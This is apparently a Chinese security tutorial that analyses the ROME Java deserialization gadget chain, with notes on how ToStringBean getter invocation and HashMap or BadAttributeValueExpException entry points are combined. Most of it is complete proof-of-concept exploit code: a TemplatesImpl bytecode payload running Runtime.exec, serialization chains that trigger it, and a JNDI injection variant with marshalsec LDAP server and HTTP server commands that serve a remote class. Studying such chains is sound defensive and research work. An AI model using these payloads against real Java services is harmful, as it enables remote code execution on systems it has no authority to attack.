Rome
0x01 What Is ROME
ROME is a Java framework for RSS and Atom feeds
RSS : Really Simple Syndication(真正简易联合)
是一种消息来源格式规范,用以聚合经常发布更新数据的网站,例如博客文章、新闻、音频或视频的网摘。其使用XML编写
RSS 阅读器用于读取 RSS feed。ROME就是一个RSS 阅读器的实现。
0x02 First Glance
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
public class ToStringBean implements Serializable { // 实现了Serializable接口
protected ToStringBean(Class beanClass) {
_beanClass = beanClass;
_obj = this;
}
public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return toString(prefix);
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}
}
toString(String prefix)
有可疑的pReadMethod.invoke
BeanIntrospector.getPropertyDescriptors(_beanClass);
能够获取类中的属性名及其getter方法(getter需要public)
可以本地试试:
新建一个Person
类:
public class Person {
public String name;
private Integer age;
public String getName() {
return name;
}
public Integer getAge() {
return age;
}
}
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(Person.class);
if (pds != null) {
for (int i = 0; i < pds.length; i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
System.out.println(pReadMethod.getName());
}
}
// getName
// getClass
// getAge
接着遍历PropertyDescriptor
数组,对于每个getter方法,若其不是Class类的getter方法(一般就是getClass
了),且无参,则执行该方法(pReadMethod.invoke(_obj,NO_PARAMS)
)
在FastJson
那节我们就接触了几个可以利用getter
方法的恶意类
TemplatesImpl#getOutputProperties
(fastjson中需要开启Feature.SupportNonPublicField
)JdbcRowSetImpl#getDatabaseMetaData()
(jndi注入,需要出网)BasicDataSource#getConnection
(BCEL码)
下面以TemplatesImpl#getOutputProperties
为例
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "p4d0rn");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(TemplatesImpl.class, obj);
System.out.println(bean); // 调用ToStringBean的toString方法
}
接着要找某个类的readObject
调用了toString
且调用者可控。
这里找了个中间人EqualsBean
,和ToStringBean
在同一个包下
public class EqualsBean implements Serializable {
// The hashcode is calculated by getting the hashcode of the Bean String representation
public EqualsBean(Class beanClass,Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass()+" is not instance of "+beanClass);
}
_beanClass = beanClass;
_obj = obj;
}
public int hashCode() {
return beanHashCode();
}
public int beanHashCode() {
return _obj.toString().hashCode();
}
}
熟悉的hashCode
,入口就是URLDNS
的入口类hashMap
hashMap#readObject
=> hash(key)
=> key.hashCode()
=> EqualsBean#hashCode
0x03 Weave POC
和URLDNS
一样,往map
里put
时会触发hashCode
,这里使用ObjectBean
来作中转,后面再用反射修改
public class ObjectBean implements Serializable{
public ObjectBean(Class beanClass,Object obj,Set ignoreProperties) {
_equalsBean = new EqualsBean(beanClass,obj);
_toStringBean = new ToStringBean(beanClass,obj);
_cloneableBean = new CloneableBean(obj,ignoreProperties);
}
public int hashCode() {
return _equalsBean.beanHashCode();
}
}
POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Rome {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "p4d0rn");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);
ObjectBean fakeBean = new ObjectBean(String.class, "p4d0rn"); // 传入无害的String.class
HashMap map = new HashMap();
map.put(fakeBean, 1); // 注意put的时候也会执行hash
setFieldValue(fakeBean, "_equalsBean", equalsBean);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}
网上的文章都没遇到这个问题吗?太离谱了
构造
ToStringBean
时应该传入Templates.class
,这个Templates
接口只定义了getOutputProperties
这个方法。若传入
TemplatesImpl.class
,BeanIntrospector.getPropertyDescriptors(Target.class)
遍历getter方法时,会先遍历到getStylesheetDOM
,return (DOM)_sdom.get();
。而_sdom
这个属性被transient
修饰,无法被序列化。反序列化的时候会抛出NullPoint
异常,退出getter
方法遍历,导致无法执行到getOutputProperties
0x04 Other Versions
CC5中也有利用到toString()
的类,BadAttributeValueExpException
public class BadAttributeValueExpException extends Exception{
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Rome {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "p4d0rn");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(bean);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}
fastjson那节利用的是JdbcRowSetImpl#setAutoCommit
来进行jndi注入,但ROME链是触发getter方法。
实际上在JdbcRowSetImpl
类里搜索this.connect()
,还存在一个方法getDatabaseMetaData
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
}
// ....
}
}
getDataSourceName
是在JdbcRowSetImpl
父类BaseRowSet
中定义的,我们就不能用getDeclaredField
来获取了。JdbcRowSetImpl#setDataSourceName
可以直接设置值。
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Rome {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:8099/aaa");
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", bean);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099
开启ldap服务
python -m http.server 8000
开启web服务
Last updated